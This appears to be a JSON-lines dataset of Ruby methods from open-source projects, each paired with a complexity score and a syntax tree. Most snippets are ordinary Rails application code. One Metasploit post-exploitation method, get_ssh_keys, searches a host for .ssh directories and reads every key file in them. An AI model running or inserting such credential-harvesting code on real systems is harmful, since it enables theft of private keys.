+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/jobs/regular/chat/notify_mentioned_spec.rb","start_line":68,"raw_source":"def track_core_notification(user: user_2, message:, to_notify_ids_map:)\n job.execute(\n chat_message_id: message.id,\n timestamp: message.created_at.to_s,\n to_notify_ids_map: to_notify_ids_map,\n )\n\n Notification.where(user: user, notification_type: Notification.types[:chat_mention]).last\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_core_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"user_2\"]}]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"to_notify_ids_map\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"created_at\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_notify_ids_map\"]},{\"type\":\"lvar\",\"children\":[\"to_notify_ids_map\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_mention\"]}]}]}]}]},\"last\"]}]}]}","id":"de5d240a-60c5-441b-93df-8d1f1a5de6c7"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/lfs_token.rb","start_line":10,"raw_source":"def actor_name\n user? ? actor.username : \"lfs+deploy-key-#{actor.id}\"\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"username\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"lfs+deploy-key-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"id\"]}]}]}]}]}","id":"0e957671-83b4-4dbc-af96-706146c3982c"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/activities_tab/internal_comment_mentions_sanitizer.rb","start_line":32,"raw_source":"def self.sanitize(work_package, comment)\n new(work_package, comment).call\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sanitize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]},\"call\"]}]}","id":"eb7d0716-847b-4bad-94be-cfb85ee76261"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session.rb","start_line":236,"raw_source":"def cleanup\n if db_record and framework.db.active\n ::ApplicationRecord.connection_pool.with_connection do\n framework.db.update_session(id: db_record.id, closed_at: Time.now.utc, close_reason: db_record.close_reason)\n rescue ActiveRecord::RecordNotFound\n nil # this will fail if the workspace was deleted before the session was closed, see #18561\n end\n end\n end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"update_session\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"close_reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_record\"]},\"close_reason\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},null]}]}","id":"8b36c9e7-73bb-4ddc-a30e-d7331a4f8615"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse.rb","start_line":465,"raw_source":"def self.assets_digest\n @assets_digest ||=\n begin\n digest =\n Digest::MD5.hexdigest(\n Rails\n .application\n .assets\n .load_path\n .assets\n .map(&:digested_path)\n .map(&:to_s)\n .sort\n .join(\"|\"),\n )\n\n channel = \"/global/asset-version\"\n message = MessageBus.last_message(channel)\n\n MessageBus.publish channel, digest unless message && message.data == digest\n digest\n end\n end","complexity_score":32.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"assets_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@assets_digest\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"assets\"]},\"load_path\"]},\"assets\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"digested_path\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"sort\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"str\",\"children\":[\"/global/asset-version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"last_message\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"data\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]},{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]}]}","id":"726be52b-3495-4467-bab9-7615dbbf49ed"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/power.rb","start_line":67,"raw_source":"def raw_pause\n raise NotImplementedError, _(\"must be implemented in a subclass\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_pause\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must be implemented in a subclass\"]}]}]}]}","id":"5ba313e9-f7fe-47d6-ab48-53f07b8c10a8"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/settings/applications_spec.rb","start_line":142,"raw_source":"def user_application_token\n Doorkeeper::AccessToken.where(application:).where(resource_owner_id: user)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_application_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"AccessToken\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application\"]},{\"type\":\"send\",\"children\":[null,\"application\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_owner_id\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}","id":"a16efb42-c61d-43ee-beec-a0de2e8a5d71"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/counter_component.rb","start_line":49,"raw_source":"def shared_with_anyone_else_other_than_myself?\n Member.of_entity(@entity)\n .where.not(principal: User.current)\n .exists?\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_with_anyone_else_other_than_myself?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"of_entity\",{\"type\":\"ivar\",\"children\":[\"@entity\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"principal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]},\"exists?\"]}]}","id":"2aad805e-4b20-46fb-b7fb-0a73abedb308"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_network.rb","start_line":107,"raw_source":"def get_ssh_keys\n keys = []\n\n # Look for .ssh folder, \"~/\" might not work everytime\n vprint_status('Execute: /usr/bin/find / -maxdepth 3 -name .ssh')\n dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh').split(\"\\n\")\n ssh_base = ''\n dirs.each do |d|\n if d =~ %r{(^/)(.*)\\.ssh$}\n ssh_base = d\n break\n end\n end\n\n # We didn't find .ssh :-(\n return [] if ssh_base == ''\n\n # List all the files under .ssh/\n files = execute(\"/bin/ls -a #{ssh_base}\").chomp.split\n\n files.each do |k|\n next if k =~ /^(\\.+)$/\n\n this_key = cat_file(\"#{ssh_base}/#{k}\")\n keys << this_key\n end\n\n return keys\n end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_ssh_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Execute: /usr/bin/find / -maxdepth 3 -name .ssh\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dirs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"/usr/bin/find / -maxdepth 3 -name .ssh\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ssh_base\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(^/)(.*)\\\\.ssh$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ssh_base\",{\"type\":\"lvar\",\"children\":[\"d\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_base\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/ls -a \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_base\"]}]}]}]},\"chomp\"]},\"split\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\.+)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"this_key\",{\"type\":\"send\",\"children\":[null,\"cat_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssh_base\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"this_key\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}","id":"000d0b61-4927-4677-8995-761fa0211316"}
+{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/helpers.rb","start_line":110,"raw_source":"def find_locale_files(lang)\n locale_files.select { |file| file =~ /\\/#{lang}\\.yml$/ }\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_locale_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lang\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locale_files\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lang\"]}]},{\"type\":\"str\",\"children\":[\"\\\\.yml$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"010bf3e3-9f01-4c14-b6de-430fc9a86ca0"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/job_interface.rb","start_line":130,"raw_source":"def manual_job\n object.try(:action?)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"manual_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"try\",{\"type\":\"sym\",\"children\":[\"action?\"]}]}]}","id":"2f5650c7-87c7-4d1a-951e-50189b28a8f8"}
+{"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/youtube_tag_spec.rb","start_line":7,"raw_source":"def generate_tag(input)\n Liquid::Template.parse(\"{% embed #{input} %}\").render\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% embed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]},\"render\"]}]}","id":"521465f5-12f8-46da-8d4c-a161aaaf7437"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/cost_rate.rb","start_line":35,"raw_source":"def previous(reference_date = valid_from)\n # This might return a default rate\n cost_type.rate_at(reference_date - 1)\n end","complexity_score":5.75,"ast_json":"{\"type\":\"def\",\"children\":[\"previous\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"reference_date\",{\"type\":\"send\",\"children\":[null,\"valid_from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cost_type\"]},\"rate_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reference_date\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"f4fae58f-0feb-4d1b-b71b-328e6521b7a7"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/failure_raising_behavior.rb","start_line":133,"raw_source":"def test_clear_failure_returns_nil\n assert_raise Redis::BaseError do\n emulating_unavailability do |cache|\n cache.clear\n end\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_clear_failure_returns_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"BaseError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emulating_unavailability\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cache\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"clear\"]}]}]}]}","id":"b46a3b26-76c8-4bd5-b699-6867ed86ccc2"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/issuable/clone/attributes_rewriter.rb","start_line":43,"raw_source":"def matching_milestone(title)\n return if title.blank?\n\n params = { title: title, project_ids: project&.id, group_ids: group&.self_and_ancestors_ids }\n\n milestones = MilestonesFinder.new(params).execute\n milestones.first\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_milestone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_ids\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"self_and_ancestors_ids\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MilestonesFinder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestones\"]},\"first\"]}]}]}","id":"8530f6c1-3f75-4c3f-8e01-73e4d87e0ec3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250820035405_prepare_assignee_id_indexes_for_merge_requests_bigint_conversion.rb","start_line":70,"raw_source":"def skip_migration?\n unless conversion_columns_exist?\n say \"No conversion columns found - migration skipped\"\n return true\n end\n\n false\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_migration?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversion_columns_exist?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"No conversion columns found - migration skipped\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"66de060a-ae22-4e03-adbe-6870d5b38962"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/json.rb","start_line":141,"raw_source":"def adapter_generate(object, opts = {})\n opts = standardize_opts(opts)\n\n Oj.generate(object, opts)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"adapter_generate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[null,\"standardize_opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"b98c9328-dc3a-4769-8106-3be13a295442"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/param_helpers.rb","start_line":81,"raw_source":"def telegram_params_business_connection_id\n if callback_query_params?\n params[:callback_query][:message][:business_connection_id]\n else\n telegram_params_base_object[:business_connection_id]\n end\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"telegram_params_business_connection_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"callback_query_params?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"callback_query\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"business_connection_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"telegram_params_base_object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"business_connection_id\"]}]}]}]}","id":"34643e3e-5435-4485-ba0f-6815bff081a0"}
+{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mailers/base_mailer.rb","start_line":81,"raw_source":"def implicit_multipart_formats(hash = {})\n mail(hash)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"implicit_multipart_formats\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"da438212-8f78-4007-964e-9fb09877ee2e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/diffs_stream_controller.rb","start_line":14,"raw_source":"def diff_file_component(diff_file)\n ::RapidDiffs::MergeRequestDiffFileComponent\n .new(diff_file: diff_file, merge_request: @merge_request, parallel_view: view == :parallel)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file_component\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RapidDiffs\"]},\"MergeRequestDiffFileComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_file\"]},{\"type\":\"lvar\",\"children\":[\"diff_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"ivar\",\"children\":[\"@merge_request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel_view\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\"]},\"==\",{\"type\":\"sym\",\"children\":[\"parallel\"]}]}]}]}]}]}","id":"13f5bcc6-ebb0-4431-83e6-010c05ecf5f5"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/version_saver.rb","start_line":28,"raw_source":"def gitlab_version_file\n File.join(@shared.export_path, Gitlab::ImportExport.gitlab_version_filename)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_version_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared\"]},\"export_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"gitlab_version_filename\"]}]}]}","id":"d5281905-7d62-4ad7-8f3d-c44f6fe6b326"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/topic_assigner.rb","start_line":29,"raw_source":"def self.publish_topic_tracking_state(topic, user_id)\n deprecation_note\n Assigner.publish_topic_tracking_state(topic, user_id)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_topic_tracking_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deprecation_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Assigner\"]},\"publish_topic_tracking_state\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}","id":"7e0090cf-fd53-4e13-964a-88a723ccce41"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_store/local_store.rb","start_line":7,"raw_source":"def store_file(file, path)\n copy_file(file, \"#{public_dir}#{path}\")\n \"#{Discourse.base_path}#{path}\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"store_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"copy_file\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"4a64e4bb-728c-4043-af46-25cd1ce95feb"}
